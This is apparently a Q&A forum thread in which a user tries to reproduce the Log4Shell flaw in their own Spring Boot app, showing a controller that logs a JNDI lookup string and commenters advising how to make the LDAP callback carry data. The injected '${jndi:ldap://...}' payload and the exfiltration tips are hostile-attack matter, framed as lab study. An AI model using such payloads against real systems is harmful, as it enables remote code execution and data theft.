1

I'm trying to reproduce log4j vulnerability on my spring-boot java project. I know that version from 2.0 to 2.14.1 are vulnerable, i'm using the 2.14.1 version but but i'm not able to exploit it, this is the code on which I' m using the logger:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@RestController
@CrossOrigin(origins = "http://localhost:4200")
public class HomeController {
    private final HobbyService hobbyService;
    private final UserService userService;
    public static final Logger LOGGER = LogManager.getLogger(HomeController.class);
    @GetMapping("/hello-user")
    @Operation(summary = "Show client/business homepage", security = @SecurityRequirement(name = "bearerAuth"))
    public ResponseEntity<String> helloUser(@RequestParam String username) {
        LOGGER.info("user id: " + "${jndi:ldap://jv-${sys:java.version}}");
        Set<Hobby> hobbyMatches = this.hobbyService.getAllHobbieMatchesForClient(username);
        if (!hobbyMatches.equals(null)){
            StringBuilder responseBuilder = new StringBuilder("<h1>Hobby List:</h1>");
            for (Hobby hobby : hobbyMatches) {
                responseBuilder.append("<p>").append(hobby.getName()).append("</p>");
            }
            String htmlResponse = responseBuilder.toString();
            return ResponseEntity.ok().body(htmlResponse);
        }else{
            return null;
        }
    }

As you can see I inserted the vulnerability on pourpose to see how it works, but when I run the application it is not displaying the java version as expected.This is the poml.xml file :

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <exclusions>
            <exclusion>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-logging</artifactId>
            </exclusion>
        </exclusions>
    </dependency>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-log4j2</artifactId>
        <version>2.6.1</version>
    </dependency>
    <dependency>
7
  • Why do you think it doesn't work? Doesn't your LDAP server receive the request?
    – mentallurg
    Commented May 12 at 22:44
  • no, it doesn't receive the request, i tried also with other exploit to see the java version , but it doesn't work
    – yeppa
    Commented May 13 at 8:16
  • 1
    1) Check the host name of your LDAP server. It looks strange. You use Java version as the part of the host name. But Java version can contain underscore. Underscore is not allowed in host names.
    – mentallurg
    Commented May 13 at 11:22
  • 2) Are you sure you have registered your host name (that depends on Java version) in the DNS server?
    – mentallurg
    Commented May 13 at 11:23
  • I'd suggest to use a fixed host name and to use any other data you want to transfer as a parameter in URL. Don't use parameters as the part of the host name.
    – mentallurg
    Commented May 13 at 11:25

0

You must log in to answer this question.

Browse other questions tagged .